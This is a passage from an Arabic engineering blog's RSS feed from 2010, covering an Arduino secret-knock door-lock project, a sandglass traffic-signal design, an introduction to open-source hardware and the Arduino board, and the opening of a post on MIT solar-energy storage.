<p>تفضلوا البرنامج من <a href="http://www.instructables.com/files/orig/FJ4/VBVE/G23UMMIN/FJ4VBVEG23UMMIN.tmp" target="_blank">هنا</a></p>
<p><span style="color: #0000ff;"><strong>وكيف يمكنني تحميل البرنامج للمتحكم؟</strong></span></p>
<p>كما ذكرنا سالفا فإنه لابد من برمجة المتحكم الخاص بلوحة الأردوينو كما هو مذكور في الخطوات <a href="http://arduino.cc/en/Guide/HomePage" target="_blank">هنا</a></p>
<p><span style="color: #0000ff;"><strong>وماذا عن بقية التفاصيل الميكانيكية؟</strong></span></p>
<p>الحقيقة أن  المصمم أفردها بالتفصيل الممل جدا ومدعما ذلك بالصور، فأرجو أن تعودوا لملف  الخطوات الذي أرفقته في الأعلى فهو شامل ويجيب عن كافة الأسئلة.</p>
<p><a href="http://www.instructables.com/id/Secret-Knock-Detecting-Door-Lock/?ALLSTEPS" target="_blank">المصدر الرئيسي للتدوينة</a></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3162&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D9%84%D9%8A%D9%84%D9%89%20%D9%88%D8%A7%D9%84%D8%B0%D8%A6%D8%A8..%D9%88%D9%82%D9%81%D9%84%20%D8%A7%D9%84%D8%A3%D8%B1%D8%AF%D9%88%D9%8A%D9%86%D9%88" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3162&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D9%84%D9%8A%D9%84%D9%89%20%D9%88%D8%A7%D9%84%D8%B0%D8%A6%D8%A8..%D9%88%D9%82%D9%81%D9%84%20%D8%A7%D9%84%D8%A3%D8%B1%D8%AF%D9%88%D9%8A%D9%86%D9%88" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3162&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D9%84%D9%8A%D9%84%D9%89%20%D9%88%D8%A7%D9%84%D8%B0%D8%A6%D8%A8..%D9%88%D9%82%D9%81%D9%84%20%D8%A7%D9%84%D8%A3%D8%B1%D8%AF%D9%88%D9%8A%D9%86%D9%88" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3162&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D9%84%D9%8A%D9%84%D9%89%20%D9%88%D8%A7%D9%84%D8%B0%D8%A6%D8%A8..%D9%88%D9%82%D9%81%D9%84%20%D8%A7%D9%84%D8%A3%D8%B1%D8%AF%D9%88%D9%8A%D9%86%D9%88" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3162&amp;linkname=%D9%85%D8%B4%D8%B1%D9%88%D8%B9%20%D8%A7%D9%84%D8%A3%D8%B3%D8%A8%D9%88%D8%B9%3A%20%D9%84%D9%8A%D9%84%D9%89%20%D9%88%D8%A7%D9%84%D8%B0%D8%A6%D8%A8..%D9%88%D9%82%D9%81%D9%84%20%D8%A7%D9%84%D8%A3%D8%B1%D8%AF%D9%88%D9%8A%D9%86%D9%88" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/3162/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>إشارة مرور رملية!</title>
		<link>http://www.handsah.net/archives/3155</link>
		<comments>http://www.handsah.net/archives/3155#comments</comments>
		<pubDate>Sun, 28 Nov 2010 15:19:15 +0000</pubDate>
		<dc:creator>جميل أغباريه</dc:creator>
				<category><![CDATA[منوعات]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=3155</guid>
		<description><![CDATA[الساعة الرملية نظرة جديدة في اشارات المرور. يجب أن يصاب أغلب الناس بخيبة أمل بالتأكيد [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.handsah.net/handasa/wp-content/uploads/2010/11/sandglass_signal.jpeg"><img src="http://www.handsah.net/handasa/wp-content/uploads/2010/11/sandglass_signal.jpeg" alt="" title="sandglass_signal" width="450" height="300" class="alignright size-full wp-image-3184" /></a><br />
الساعة الرملية نظرة جديدة في اشارات المرور. يجب أن يصاب أغلب الناس بخيبة أمل بالتأكيد مع التصميم الحالي لإشارات المرور لا بد أن الكثير من الناس أعتاد على شكل الإشارات المرورية التقليدية المستديرة بألوانها الثلاثة المعتادة ، لكن للمصمم ثافا تيفاونج كان رأي أخر حيث فكر في كيفية كسر حاجز الملل والروتين في شكل الإشارات المرورية وجعل هذا البعد الرابع باستخدام الرمال ساعة الزجاج نموذجا له حيث تكون مزودة بعداد يبقيك على اطلاع بالوقت المتبقي لتغيير لون الإشارة .</p>
<p>فكرة سهلة وبديهية<a href="http://www.handsah.net/wp-content/uploads/2010/11/sandglass_signal.jpg"></a></p>
<p><a href="http://www.handsah.net/wp-content/uploads/2010/11/sandglass_signal.jpg"></a></p>
<p><a href="http://www.handsah.net/wp-content/uploads/2010/11/sandglass_signal3.jpg"><img class="aligncenter size-medium wp-image-3160" src="http://www.handsah.net/wp-content/uploads/2010/11/sandglass_signal3-225x300.jpg" alt="" width="225" height="300" /></a><br />
<a href="http://www.handsah.net/wp-content/uploads/2010/11/sandglass_signal2.jpg"></a><a href="http://www.handsah.net/wp-content/uploads/2010/11/sandglass_signal2.jpg"><img class="aligncenter size-medium wp-image-3161" src="http://www.handsah.net/wp-content/uploads/2010/11/sandglass_signal2-279x300.jpg" alt="" width="279" height="300" /></a><a href="http://www.yankodesign.com/2010/11/18/sands-of-traffic-times/" target="_blank">المصدر</a></p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3155&amp;linkname=%D8%A5%D8%B4%D8%A7%D8%B1%D8%A9%20%D9%85%D8%B1%D9%88%D8%B1%20%D8%B1%D9%85%D9%84%D9%8A%D8%A9%21" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3155&amp;linkname=%D8%A5%D8%B4%D8%A7%D8%B1%D8%A9%20%D9%85%D8%B1%D9%88%D8%B1%20%D8%B1%D9%85%D9%84%D9%8A%D8%A9%21" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3155&amp;linkname=%D8%A5%D8%B4%D8%A7%D8%B1%D8%A9%20%D9%85%D8%B1%D9%88%D8%B1%20%D8%B1%D9%85%D9%84%D9%8A%D8%A9%21" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3155&amp;linkname=%D8%A5%D8%B4%D8%A7%D8%B1%D8%A9%20%D9%85%D8%B1%D9%88%D8%B1%20%D8%B1%D9%85%D9%84%D9%8A%D8%A9%21" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3155&amp;linkname=%D8%A5%D8%B4%D8%A7%D8%B1%D8%A9%20%D9%85%D8%B1%D9%88%D8%B1%20%D8%B1%D9%85%D9%84%D9%8A%D8%A9%21" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/3155/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>ممنوع دخول المنقبات..عالم المصادر المفتوحة (الأردوينو</title>
		<link>http://www.handsah.net/archives/3139</link>
		<comments>http://www.handsah.net/archives/3139#comments</comments>
		<pubDate>Sun, 21 Nov 2010 17:41:42 +0000</pubDate>
		<dc:creator>وسيم الخاير</dc:creator>
				<category><![CDATA[أبحاث]]></category>
		<category><![CDATA[إلكترونيات]]></category>
		<category><![CDATA[الأقسام الهندسية]]></category>
		<category><![CDATA[الهندسة]]></category>
		<category><![CDATA[الهندسة الإلكترونية]]></category>
		<category><![CDATA[الهندسة الكهربائية]]></category>
		<category><![CDATA[كهرباء]]></category>
		<category><![CDATA[أردوينو]]></category>
		<category><![CDATA[المتحكمات الدقيقة]]></category>
		<category><![CDATA[المتحكمات الصغرية]]></category>
		<category><![CDATA[المصادر المفتوحة]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=3139</guid>
		<description><![CDATA[الساعة تشير إلى السابعة صباحا..أووه لقد تأخر عزام مرة أخرى عن محاضرته في الجامعة، فهذه [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://muslimlead.com/wp-content/uploads/2010/10/ard.jpg"><img src="http://muslimlead.com/wp-content/uploads/2010/10/ard.jpg" alt="" width="226" height="148" /></a></p>
<p>الساعة تشير إلى السابعة صباحا..أووه لقد تأخر عزام مرة أخرى عن  محاضرته في الجامعة، فهذه هي ضريبة السهر. ارتدى ثيابه مسرعا، وتوجه لمحطة  المترو كي يلحق بمحاضرته الثانية. وياله من يوم بارد، بدأ عزام يحدث  نفسه..كيف لا؟ فهذه هي باريس  في هذا الوقت من السنة، ولم يكد ينتهي من  عبارته حتى وصل للجامعة. ترجل من المترو، وتوجه للبوابة الرئيسية&#8230;وإذا  بجمع غفير يكاد يحجب الأنظار. ماذا يجري في هذا الصباح الباكر في جامعتنا؟  هل هي مظاهرة؟ أم  مجرد اعتصام احتجاجاً على قانون رفع سن التقاعد الذي أقر  مؤخرا في فرنسا؟</p>
<p>اقترب عزام من مكان التجمع ليجد إعلانا مشينا تجمع حوله  المتظاهرون&#8230;احمر وجه عزام وتغيرت ملامحه لدرجة كاد معها أن يبتلع الجامعة  بمن فيها. كيف لا؟ فها هو الإعلان يقول:<strong> <img src="http://muslimlead.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" />ممنوع دخول المنقبات</strong>؟!؟</p>
<p>بدأ عزام  يسأل من حوله، فأجابه زميله الفرنسي بلكنة ساخرة: عزام نحن  هنا في بلد الانفتاح فرنسا، ولا مجال أن نغطي على عقولنا، فهو سلب لحرية  المرأة..! فلهذا منعنا الحجاب</p>
<p>تمعر وجه عزام وكظم غيظه خوفا من أن يفتك بذلك الفرنسي العنصري..وعاد  أدراجه بكل هدوء لمنزله المتواضع في ضواحي باريس سيراً على الأقدام لعله  يفرغ بعضا من همومه. وخلال سيره بدأ يسبح في عالم الأفكار وعن السبب الذي  دفع الحكومة الفرنسية لمنع النقاب في هذا التوقيت.</p>
<p><span style="color: #0000ff;"><strong>ما هي علاقة منع المنقبات بحديثنا عن الإلكترونيات؟</strong></span></p>
<p>تماما كما هو الحديث عن تقليعة منع المنقبات من دخول الجامعات، انتقل هذا الداء لمصممي الإلكترونيات..كيف؟</p>
<p>تحدثت في<a href="http://muslimlead.com/?p=1186" target="_blank"> تدوينة سابقة</a> عن موضوع المتحكمات الدقيقة، وتطرقنا حينها إلى بعض من تطبيقاتها، واليوم  نكمل الحديث في هذا الجانب الممتع لنتناول قضية مهمة أخذت حيزا إعلاميا  ضخما في السنوات الخمس الأخيرة.  <strong>العتاد المفتوح المصدر أو المتحكمات ذات المصادر المفتوحة</strong>،  كما يروق للبعض تسميتها، هي محاولة واعدة من هواة الإلكترونيات حول العالم  لجعل التصاميم الإلكترونية مفتوحة المصدر كما هو الأمر بالنسبة للعديد من  التطبيقات البرمجية المفتوحة المصدر مثل لينوكس . فلقد بدأ الحديث فعليا عن  هذا المجال في أمريكا حتى بدأت العدوى تنتشر في أوروبا واليابان والمناطق  الأخرى، فظهرت لدينا العديد من المنتجات التي تعتمد مبدأ المصادر المفتوحة.  فلقد ابتدع الهواة مبدأ يحاولون من خلاله منع نشر التصاميم &#8220;المنقبة&#8221; أو  التي لم تعرف هويتها أو تفاصيلها الداخلية. تماما كما فعلت فرنسا..لكن شتان  بين هواة الإلكترونيات والساسة الفرنسيين.</p>
<p><span style="color: #0000ff;"><strong>فما هو المقصود بذلك؟</strong></span></p>
<p>نعني بمصطلح العتاد المفتوح المصدر أنه عند القيام بأي تصميم إلكتروني  لأي دارة فلابد من نشر كافة تفاصيل التصميم كقيم العناصر المستخدمة، شيفرة  برنامج، حسابات متعلقة بالتصميم، الخ. بحيث يتمكن أي شخص من إعادة تعديل  التصميم واستخدامه بالشكل الذي يحلو له.</p>
<p><span style="color: #0000ff;"><strong>حسنا..ومالفائدة من نشر التصاميم مجانا دون مقابل؟</strong></span></p>
<p>الحقيقة فإن الجواب برأيي وكشخص مسلم سيكون نابعا من ثقافتي الإسلامية  التي تحضنا دائما  على نشر العلم وتزكيته، ولن أفرد لكم كيف حثنا ديننا على  نشر العلم وتعليمه للآخرين وأهمية ذلك في بناء مجتمع مسلم متحضر.  وكما <a href="http://www.slideshare.net/adafruit/open-source-hardware-and-the-web" target="_blank">تقول </a>المصممة العزيزة<a href="http://www.adafruit.com/" target="_blank"> ليمور فريد</a>،  فإن الهدف حقيقة هو بناء قيمة اجتماعية بين المصممين كي يتمكنوا جميعا من  المشاركة في بناء تصاميم ذات جودة عالية وليتم تبادل الأفكار وتناقحها بين  المصممين في العالم أجمع. فمن خلال نشر المعلومة المجانية نكون قد ساهمنا  في تفعيل هذه الفكرة الرائدة. إليكم هذا الفيديو من إحدى اللقاءات التي  عقدها هواة المصادر المفتوحة لهذه السنة، وفيه المصممة ليمور تتحدث عن هذا  الجانب:</p>
<p><iframe src="http://player.vimeo.com/video/15325681" width="500" height="281" frameborder="0"></iframe></p>
<p><strong><span style="color: #0000ff;">حسنا وسيم..ولكن من الذي سيضمن حقوق الملكية الفكرية؟ وكيف إذا تم سرقتها؟</span><br />
</strong></p>
<p>تذكروا أننا هنا نتحدث عن تصاميم في مستوى الهواة ولسنا نتحدث عن  تطبيقات صناعية أو منتجات استهلاكية لشركة معروفة، فكل ما هنالك أننا نوفر  معلومة تخص منتجات ليس لها علاقة بالشركات. ومن جهة أخرى، فإن العمل لا  يزال جار لوضع أسس تحكم عملية نشر المعلومة عن طريق موقع <a href="http://creativecommons.org/" target="_blank">Creative Commons</a> الذي يقوم بصياغة نظم تحفظ حق الناشر وتوفر المعلومة المجانية في نفس الوقت.</p>
<p><strong><span style="color: #0000ff;">وأين يمكنني أن أجد عتاد مفتوح المصدر؟ و كيف أجد تطبيقات في هذا المجال؟ دارات عملية مثلا؟</span><br />
</strong></p>
<p>أفضل وأشهر مثال  هو لوحة اختبار<a href="http://en.wikipedia.org/wiki/Arduino" target="_blank"> الأردوينو</a>.  وهي لوحة مطبوعة  تم انتاجها في إيطاليا سنة 2005 كحل لمشاريع الطلاب،  وتطورت شيئا فشيئا وحاليا يتم تصنيعها من قبل شركة تسمى .Smart Projects  يوجد عليها متحكم من شركة Atmel   وبه عدد من المداخل والمخارج المنطقية  والتماثلية، وهناك سلك USB ليتم برمجة المتحكم من خلاله عند وصل اللوحة  بالحاسب. وكل المداخل والمخارج متصلة بمفاتيح سهلة الوصول كي تسهل على  المستخدم استغلالها في تصاميمه. الدارة الكاملة للوحة الأردوينو موضحة في  الأسفل:</p>
<p><a href="http://muslimlead.com/wp-content/uploads/2010/11/ArduinoSeverinoSchematic.png"><img src="http://muslimlead.com/wp-content/uploads/2010/11/ArduinoSeverinoSchematic-1024x775.png" alt="" width="614" height="465" /></a></p>
<p><span style="color: #0000ff;"><strong>وماهي مواصفات لوحة اختبار الأردوينو؟ ماهي مواصفات المتحكم؟</strong></span></p>
<table border="0">
<tbody>
<tr>
<td align="left">المتحكم</td>
<td align="left">ATmega328</td>
</tr>
<tr>
<td align="left">جهد التشغيل</td>
<td align="left">5V</td>
</tr>
<tr>
<td align="left">جهد المصدر</td>
<td align="left">7-12V</td>
</tr>
<tr>
<td align="left">جهد المصدر( الأقصى</td>
<td align="left">6-20V</td>
</tr>
<tr>
<td align="left">المداخل والمخارج</td>
<td align="left">14  (of which 6 provide PWM output)</td>
</tr>
<tr>
<td align="left">المداخل التماثلية</td>
<td align="left">6</td>
</tr>
<tr>
<td align="left">التيار المستمر لكل مدخل</td>
<td align="left">40mA</td>
</tr>
<tr>
<td align="left">التيار المستمر لكل مدخل 3.3فولت</td>
<td align="left">50mA</td>
</tr>
<tr>
<td align="left">Flash Memory</td>
<td align="left">32KB (ATmega328) of which 0.5 KB used by bootloader</td>
</tr>
<tr>
<td align="left">SRAM</td>
<td align="left">2KB (ATmega328)</td>
</tr>
<tr>
<td align="left">EEPROM</td>
<td align="left">1KB (ATmega328)</td>
</tr>
<tr>
<td>سرعة المعالج</td>
<td align="left">16MHz</td>
</tr>
</tbody>
</table>
<p>بناء على ما تقدم يمكن للمصمم أن يقوم ببناء لوحة اختبار الأردوينو خاصته بطريقته المفضلة اعتمادا على الدارة الموضحة أعلاه. وإليكم <a href="http://arduino.cc/en/Main/ArduinoBoardSerialSingleSided3" target="_blank">الخطوات التفصيلية</a>، أو يمكن شراؤها من الموقع الرسمي للأردوينو من <a href="http://arduino.cc/en/Main/Buy" target="_blank">هنا</a></p>
<p><span style="color: #0000ff;"><strong>ومن أين نبدأ تعلم الأردوينو؟</strong></span></p>
<p>أفضل ما قرأته حقيقة هو للمصممة ليمور فرايد على موقعها الشخصي من <a href="http://www.ladyada.net/learn/arduino/lesson1.html" target="_blank">هنا</a>،  فهو يحتوي سلسلة أكثر من رائعة كافية لتعليمك الخطوات الأساسية لخوض عالم  الأردوينو. والحقيقة نصيحتي لكل من يتطلع لتعلم المتحكمات الدقيقة هي أن  يبدأ بالأردوينو وذلك لسهولة تعلمه وكثرة مصادره الموثوقة التي يمكن  الاعتماد عليها في بناء مشاريع مميزة. فعالم الأردوينو ما هو إلا مجال من  مجالات المتحكمات الدقيقة التي صنعها الهواة.</p>
<p>تعالوا نشاهد هذا الفيديو التعليمي:</p>
<p><object width="500" height="306"><param name="movie" value="http://www.youtube.com/v/PeScmRwzQho?fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/PeScmRwzQho?fs=1" type="application/x-shockwave-flash" width="500" height="306" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>أما بخصوص الأوامر المستخدمة فعليكم الرجوع لهذا <a href="http://arduino.cc/en/Reference/HomePage" target="_blank">الموقع</a></p>
<p><span style="color: #0000ff;"><strong>وهل عالم الأردوينو هو المثال الوحيد للعتاد المفتوح؟</strong></span></p>
<p>بالطبع لا! فهناك أمثلة أخرى على الساحة مثل لوحة كلب الصيد..<a href="http://beagleboard.org/" target="_blank">Beagle</a> فهذه اللوحة تم تطويرها من قبل شركة تكساس فهي تستخدم متحكم</p>
<p><a href="http://focus.ti.com/general/docs/gencontent.tsp?contentId=36915" target="_blank">OMAP3530 processor</a></p>
<p>فعالم المصادر المفتوحة إذا لم يقف عند حد الهواة بل تطور إذا ليدعم من  قبل الشركات الضخمة كشركة تكساس. لكن نصيحتي للمبتدئين، هي أن تبدؤوا  بالأردوينو حاليا لسهولة التعامل معه وبساطته.</p>
<p><strong>هل لديك قائمة بأهم المصادر التي يمكننا الاستفادة منها لتعلم وتطبيق مشاريع أردوينو؟</strong></p>
<p><a href="http://arduino.cc/en/" target="_blank">الموقع الرسمي للأردوينو</a></p>
<p><a href="http://www.ladyada.net/learn/arduino/lesson0.html" target="_blank">سلسلة دروس تعلم الأرودينو من المصممة ليمور</a></p>
<p><a href="http://arduino.org/" target="_blank">موقع يضم مشاريع  الأردوينو</a></p>
<p>هاقد وصل عزام لمنزله..وانتهت تدوينتا عن عالم المصادر المفتوحة..فهل أنت مؤيدون للمصادر المفتوحة؟</p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3139&amp;linkname=%D9%85%D9%85%D9%86%D9%88%D8%B9%20%D8%AF%D8%AE%D9%88%D9%84%20%D8%A7%D9%84%D9%85%D9%86%D9%82%D8%A8%D8%A7%D8%AA..%D8%B9%D8%A7%D9%84%D9%85%20%D8%A7%D9%84%D9%85%D8%B5%D8%A7%D8%AF%D8%B1%20%D8%A7%D9%84%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9%20%28%D8%A7%D9%84%D8%A3%D8%B1%D8%AF%D9%88%D9%8A%D9%86%D9%88" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3139&amp;linkname=%D9%85%D9%85%D9%86%D9%88%D8%B9%20%D8%AF%D8%AE%D9%88%D9%84%20%D8%A7%D9%84%D9%85%D9%86%D9%82%D8%A8%D8%A7%D8%AA..%D8%B9%D8%A7%D9%84%D9%85%20%D8%A7%D9%84%D9%85%D8%B5%D8%A7%D8%AF%D8%B1%20%D8%A7%D9%84%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9%20%28%D8%A7%D9%84%D8%A3%D8%B1%D8%AF%D9%88%D9%8A%D9%86%D9%88" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3139&amp;linkname=%D9%85%D9%85%D9%86%D9%88%D8%B9%20%D8%AF%D8%AE%D9%88%D9%84%20%D8%A7%D9%84%D9%85%D9%86%D9%82%D8%A8%D8%A7%D8%AA..%D8%B9%D8%A7%D9%84%D9%85%20%D8%A7%D9%84%D9%85%D8%B5%D8%A7%D8%AF%D8%B1%20%D8%A7%D9%84%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9%20%28%D8%A7%D9%84%D8%A3%D8%B1%D8%AF%D9%88%D9%8A%D9%86%D9%88" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3139&amp;linkname=%D9%85%D9%85%D9%86%D9%88%D8%B9%20%D8%AF%D8%AE%D9%88%D9%84%20%D8%A7%D9%84%D9%85%D9%86%D9%82%D8%A8%D8%A7%D8%AA..%D8%B9%D8%A7%D9%84%D9%85%20%D8%A7%D9%84%D9%85%D8%B5%D8%A7%D8%AF%D8%B1%20%D8%A7%D9%84%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9%20%28%D8%A7%D9%84%D8%A3%D8%B1%D8%AF%D9%88%D9%8A%D9%86%D9%88" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F3139&amp;linkname=%D9%85%D9%85%D9%86%D9%88%D8%B9%20%D8%AF%D8%AE%D9%88%D9%84%20%D8%A7%D9%84%D9%85%D9%86%D9%82%D8%A8%D8%A7%D8%AA..%D8%B9%D8%A7%D9%84%D9%85%20%D8%A7%D9%84%D9%85%D8%B5%D8%A7%D8%AF%D8%B1%20%D8%A7%D9%84%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9%20%28%D8%A7%D9%84%D8%A3%D8%B1%D8%AF%D9%88%D9%8A%D9%86%D9%88" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/3139/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>تخزين الطاقة الشمسيّة إلى اجل غير مُسمى</title>
		<link>http://www.handsah.net/archives/3115</link>
		<comments>http://www.handsah.net/archives/3115#comments</comments>
		<pubDate>Mon, 15 Nov 2010 12:03:24 +0000</pubDate>
		<dc:creator>تسنيم تاية</dc:creator>
				<category><![CDATA[الطاقة الخضراء]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=3115</guid>
		<description><![CDATA[خطوة أخرى تدفعُ بنا قدُما، نهج جديد لحفظ الطاقة الشمسية إلى اجل غير مُسمى النهج [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong>خطوة أخرى تدفعُ بنا قدُما، نهج جديد لحفظ الطاقة الشمسية إلى اجل غير مُسمى</strong></p>
<p style="text-align: center;">
<p style="text-align: center;">النهج نحو وسيلة جديدة لتخزين الطاقة من</p>
<p style="text-align: center;">MIT</p>
<p style="text-align: center;">&#8220;معهد ماساتشوستس للتكنولوجيا&#8221;</p>
<p style="text-align: center;"><span style="color: #888888;">***</span></p>
<p>كلّنا لهُ دراية فيما يتعلق بالطاقة الشمسية الحرارية والضوئية، لكن MIT عادَ نحو فكرة الطاقة الشمسية والتي لم تتمثل بسوى كونها حلُما منذ عقودٍ مضت وتركها آنئذ على حالها بسبب العجز عن جمع ما يفيد من أداة ومعلومات بوسائل عمليّة وطرُق اقتصاديّة.</p>
<p>&#8220;هذا هو الهدف الـ حراريّ- كيميائي، حيث ان الطاقة الشمسية تُحفظ في نموذج لجزيئات معيّنه والتي بمُستطاعها إطلاق &#8221; الطاقة حسب الطلب لإنتاج حرارة قابلة للإستخدام في وقت لاحق&#8221; يُفيد أحد الباحثين من المعهد.</p>
<p>الفائدة العُظمى من هدفٍ كهذا تتمثّل في حفظ طاقة المواد الكيميائية المستخدمة والتي بقدرتها تخزين الحرارة لسنوات.</p>
<p>في النهج العاديّ للتخزين، حتى مع الحفاظ على العزل إلا أن الحرارةَ تتسرّب خارجاً. إضافة إلى ذلك، فإن العملية قابلة للتراجع وبسهولة يمكن تحويل الطاقة من مكانٍ إلى آخر. لذا، بمقدورنا تجميع الطاقة في مكان مثاليّ لغرض تجميعها ومن ثم استعمالها لأيّ غاية كانت لها الحاجة.</p>
<p>في مثالٍ متطرف على الظاهرة ، أدلى جيفري غروسمان، أستاذ في هندسة الطاقة في قسم الهندسة وعلم المواد قائلا: &#8220;يمكن وضع الوقود في الشمس، استغلال الحرارة المنطلِقة منه، وإعادة الوقود ذاته مرّة أخرى تحت اشعة الشمس للإستعمال من جديد&#8221;</p>
<p style="text-align: center;"><span style="text-decoration: underline;"><span style="color: #888888;">نبذة عن النهج الحراري &amp; كيميائيّ واختراق معهد التكنولوجيا  MIT في الاونه الاخيره له</span></span></p>
<p style="text-align: center;"><span style="text-decoration: underline;"><span style="color: #888888;"><br />
</span></span></p>
